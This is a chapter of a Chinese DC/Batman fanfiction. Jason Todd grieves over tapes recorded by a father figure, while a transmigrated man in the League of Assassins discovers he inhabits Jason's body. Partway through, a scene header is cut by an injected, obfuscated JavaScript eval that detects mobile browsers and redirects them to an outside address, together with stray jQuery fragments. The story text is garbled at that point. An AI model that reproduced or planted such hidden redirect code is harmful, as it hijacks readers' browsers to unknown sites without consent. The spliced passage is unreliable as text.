59. 无数遍
作品:《成为阿卡姆老爷之后[综英美]》 【哥谭·红头罩安全屋】
杰森从安全屋顶上的暗门中翻进房间,挟着一身微腥的雨水。
九月的哥谭风雨不歇。杰森把头罩、夹克连同夹克里面的防弹盔甲一股脑地扒到了地上堆成一团,长时间的雨季让他扭曲的脊柱饱受折磨。这种潮湿阴冷又伴随着刺痛的感觉无论经历多少次都不能令杰森感到习惯。
红头罩花了三个月做掉黑手套、伊索博士和钟王,这几天正在筹划吞并马罗尼的势力*。黑面具坚持不懈地向他抛来橄榄枝,而杰森考虑着把他利用完之后再彻底宰掉。
杰森赤着上身,从冰箱里取出一条冻肉,切出几根碎丝。这是给马克思准备的宵夜,这只火焰龟十分挑嘴,自从吃过新鲜的生肉条之后就不肯再理会宠物饲料了,他只好每天给它投喂肉食,偶尔还会开恩带来活虾和小鱼改善它的伙食。
马克思吃完肉就盯着他逗弄它的手指不放,看起来很想咬上一口。杰森知道那是它还想吃的意思。
“你这呆子。”杰森敲敲龟的背脊,冷酷无情地说,“别看了,今天没有了。吃这么多有什么用?你又不会长大。”
其实他也不确定这家伙有没有变大,毕竟只过去了短短一个月。杰森翻箱倒柜地拿出了一把条尺,按住不安分的马克思给它量了一圈,他发现龟背只有11.8厘米长,8.7厘米宽。
杰森把这个数据跟日期一起记在便利贴上,贴到台灯后边。
桌子上还放着两盒新的磁带,一盒像往常一样标着序号81,另一盒则什么都没有。不管是从数量上还是从时间上,磁带都应该所剩无几了,也许这就是最后两盒。杰森这么想着,脚步一拐进了浴室。
【刺客联盟·中东基地】
这里刚刚举行了一场小小的葬礼。
他们中没有人懂得悼词是什么东西,所以唯一的言语是达米安一句硬邦邦的告诫,或者说命令:
“在我强大到能够对你们施以无瑕的庇护之前,你们都应当远离我。”
泰瓦尔在他的身后皱起眉头。
他已经能够说话,但还是什么都没有说。男人沉默地跟在达米安后面走了一段路,他的影子把男孩照在里面。在达米安不得不离去以完成这一日傍晚的例行训练之前,泰瓦尔伸手按了按男孩的肩膀。那一按异常沉厚。他的手上还缠着脏污的绑带,隔着层层布料,达米安仍然感觉到肩头滚烫。
泰瓦尔缓步走向他的院落,脑海中剧烈的抽痛已经渐趋平息。在他环抱住达米安的那一刻,他喉部的撕裂感和头脑深处的撕裂感是同时迸发的。
他到底在这个狗屁联盟待了多久?
他到底在这个狗屁DC世界里待了多久?
刺客联盟,哈哈,刺客联盟。
达米安·奥古。
塔利亚·奥古。
以及不可忽视的变数:妮莎·奥古。
是的,假如他没有猜错的话,那也是一个奥古。
没人会忘记妮莎那张风情万种的美人脸,可惜她现在给自己做了全套的易容。
妮莎·奥古这个人物似乎只出现在《阿卡姆骑士》的游戏设定里面,作为雷霄那个老不死的长女,塔利亚·奥古的亲姐姐。
《阿卡姆骑士》的“阴影战争”DLC故事中,塔利亚早已香消玉殒,而雷霄·奥古在一年之前的阿卡姆之城里身受重伤,只能靠着一台巨大的生命维持仪器以及一点被污染的劣质拉萨路池之水苟延残喘。
这样的背景之下,刺客联盟分裂成两个派系,一个是仍然以雷霄·奥古为首的忠诚派,坚定而愚蠢地愿意为恶魔之首的生命付出一切,全力寻找新的拉萨路池源头,希望用纯净的池水再次唤醒雷霄。
另一派么,就是以这位不走寻常路的妮莎·奥古为首的反叛者了。妮莎·奥古简直是奥古家的一股清流,她坚定地认为拉萨路池是罪恶之源,她的父亲在池水的影响之下变得越来越偏激、越来越疯狂,刺客联盟正走在一条荒谬至极的错误道路上。反叛者同样在全力以赴地寻找新的拉萨路池之源,目的却是要彻底毁掉它。
……
塔利亚与妮莎这对姐妹花都活着,是不是意味着阿卡姆之城的剧情还远没有发生?
唯一的疑点是:怎么不见雷霄?
泰瓦尔见到过许多次塔利亚,她被下属们称作“首领”或者“夫人”,所以雷霄大概真的死了,那么这就不可能是正统的阿卡姆世界……
我是不是穿越进了什么偏门dc宇宙?往坏处考虑,也许这是一个奇怪的综英美世界,就是那种绿jj里常有的乱七八糟的设定杂糅,泰瓦尔想。
从刺客联盟的凶残程度上看,这个世界应该不会是什么冒着粉红泡泡的天雷乙女文。
虽然排除了这一选项这并没有让整个局面好过一星半点。
他一点也不想在这个鬼地方待下去了。刺客联盟封闭信息的手段严格到令人发指,他根本没法确认这是何年何月,只能凭借季节变换暗自推测。
刚醒来的时候是炎热的夏天,之后天气逐渐转冷,非常短暂的凉爽期后,又有恢复到极热的趋势。
快一年了。
泰瓦尔在心里默默计算着可能的脱身方法。他能够想到的就是浑水摸鱼趁乱逃走。
他记忆中唯一能够利用的“刺客联盟大混乱”局面似乎遥遥无期。达米安年纪还小,七岁?八岁?他什么时候能被送回老蝙蝠身边?似乎是10岁的样子。拜托,谁能搞清楚这些,他又不是个dc死忠漫画党,能把设定都背得清清楚楚!
男人遥遥地看见一个熟悉的身影停驻在小院门前。妮莎·奥古并不是自始至终都跟在泰瓦尔身边,那个侍女是近期才被调换的。就算如此,妮莎要拔掉塔利亚安插的钉子也得花上一番不小的力气。
她所图为何?
泰瓦尔舔舔上唇,加快了脚步。男人有所预感:妮莎·奥古不会让他失望的。
没有混乱。
那就制造混乱。
【哥谭·红头罩安全屋】
“我感受到现实正在离我而去,杰森。今天是格外糟糕的一天,但是我不会断定它就是最糟的。谁说这一刻就是全部了呢?当你以为这已经是最糟的时候,更糟的总会接踵而至,而你,你能够撑过这一刻,当然就能撑过下一刻。”
“我们已经品读过诗歌、散文、小说、电影,讨论过披萨、热狗、布朗尼和小笼包。我想你会认同我对霍布斯太太宅邸后院那一株兰花的赞美,同样的,有些话题我们永远都无法达成一致,就算你朝我大发雷霆,我还是坚持认为简·奥斯汀所描绘的爱情故事简直都是‘无聊而浪费时间’的极致。”
“盆栽,宠物,油画,游戏机,爬上屋顶吹冷风去为你描述我眼中的哥谭夜景。我录制这些磁带,并不完全是为了你,杰森。我的确想要……试着,帮助你,但是我逐渐地意识到,这是在帮助我自己。”
“如果我不做这些事,如果我只是一个人呆着全靠自己那少得可怜的意志力与小丑病毒对抗,我根本撑不了这么久。”
“每当我想要放弃的时候,我会想到你——”
“是你在给我力量。”
“你可以在绝境之中坚持那么久,那么我也不能太差,对吧?”
“我会想,我还有事情没有做完。我会想,也许这个能让杰森高兴点,也许那个也行。我在搜刮一切我认为能够让人露出微笑的,生活给予我们的礼赠,而事实上,在我录下它们之前,它们首先感动的、照亮了的是我,然后才是你。”
“我们的跨时空通信就要迎来尾声,而我不会说愚蠢的再见,因为磁带还没有用完。”
“在诸多话题之中,我刻意绕过了一个……”
“给予我们与这世界最深切的联系的,其实并不是我们已经聊过的任何东西,而是‘人’,是人与人之间的感情。”
“所以最后一个话题,是家人。”
“我不想越俎代庖,所以,只有一句话,杰森。”
“令你的家人最为悲伤的并不是你造成了多么大的混乱和麻烦,并不是你的行为如何出格、如何有悖于他们的原则和教诲,而是——”
“而是你正在伤害你自己。”
【刺客
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257795|151618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
联盟·中东基地】
结束了和妮莎·奥古的“你来我往”——
这种被蒙在鼓里叫人捉摸不透的谈判真是够够了。泰瓦尔意识到,他拥有巨大的信息劣势。他已经用尽全力在隐瞒这个事实了,那是对一个奥古,一个暂时结成盟友的陌生人。
现在他一个人呆在屋里,这个问题不能被一而再再而三地忽视:
泰瓦尔究竟是谁?
他的记忆被狗屎刺客联盟用一种奇怪的洗脑机器像是打蛋机打碎蛋花一样搅乱了,但是剩下的都足够有用。
他是他自己。
他是……穿越者。
身穿?不对,魂穿。
所以这具身体一定很特殊,特殊到……让妮莎·奥古花费大力气来拉拢。这个特殊不仅仅是战力超绝,还有更多的、隐藏在妮莎语焉不详的描述里,还有他曾在塔利亚眼中看到的某些复杂而引人深思的东西。
屋子里没有镜子,于是泰瓦尔打了一盆清水仔细照了照。
惨不忍睹,像个猩猩。
男人摸了摸自己茂盛的须发,掏出一把精巧的匕首给自己简单打理了一下。一把匕首显然不能圆满完成剃须刀的专属业务,不过好歹让他不那么像个原始人了。他一丝不苟地摸过自己下颌硬朗的轮廓,然后端详那一对有点眼熟的眉毛。
是个年轻男人。如果把头发胡须都打理干净的话大概能更准确地判断。
黑发。
绿眼。
他站起来,后退几步,估算自己的身形体量。
是个壮汉,至少一米八。
刺客联盟。
从池水中醒来。
塔利亚复杂的目光。
“……”
WDNMD
男人倒吸一口凉气。
我他妈穿越成为了杰森·陶德?
草了。
等等!
泰瓦尔再度冲到水盆前面,扒拉自己的头发。
没有白毛。
但是并不是每一个世界的杰森·陶德都有白毛啊!!
【哥谭·红头罩安全屋】
“……”
“咔哒。”
磁带81号就这么戛然而止,比以往的每一次都要短暂,明显没有录完。
杰森支着一条腿躺在床上。他有点懒得起身去换下一盒。
磁带播放器已经开始按照之前的默认设置开始从头循环播放81号了,而杰森这一次并不怎么想要从头再听一遍——
他放下腿,把被子用力再裹了裹,然后试图挪动身体,在不离开被窝的前提下伸手够到播放器。那是个类似于收音机的带音箱与读取器的机械小盒子,杰森自己组装的,质量之好远非市面上的行货可比。
杰森把没有编号的81“下”放进卡槽,然后等了很久。磁带似乎在空转,一片安静,只有轻微的电磁噪声嘶嘶作响。杰森听到安全屋的另一头传来乌龟精力无限的啪嗒声,那是他的好室友在踩水并且坚持不懈地试图爬出来。他的呼吸逐渐和另一个若有似无的呼吸声重叠在一起。
杰森的心猛地颠簸了一下。
“杰森。”那呼吸声断了,转为一声低低的呼唤,“我永远为你骄傲,我的儿子。”
杰森听到乌龟受惊之后突然加速的划水声,那是因为他失手把那个该死的播放器扔了出去撞到墙上发出很响亮的噪声。他急着前去把它关掉,措手不及之下,被自己紧裹着的一大团棉被绊住,连人带被子一起砸到了地板上。
他恨自己改装的播放器是如此的结实,飞出去三米还没有摔散架,而是尽职尽责地按照默认的循环播放设置开始从头来过!
杰森摔在地上的时候听到了一模一样的第二遍。他挣扎着从一个毫无杀伤力的棉被茧里脱身出来之后听到了第三遍。他不知道自己用了多久冲过那三米,听到了第四遍。
播放器不知疲倦地循环着那唯一的一句话,第五遍,第六遍,第七遍,第八遍……
无数遍。
初显男人轮廓的男孩瘫坐在地。
杰森·陶德失声痛哭。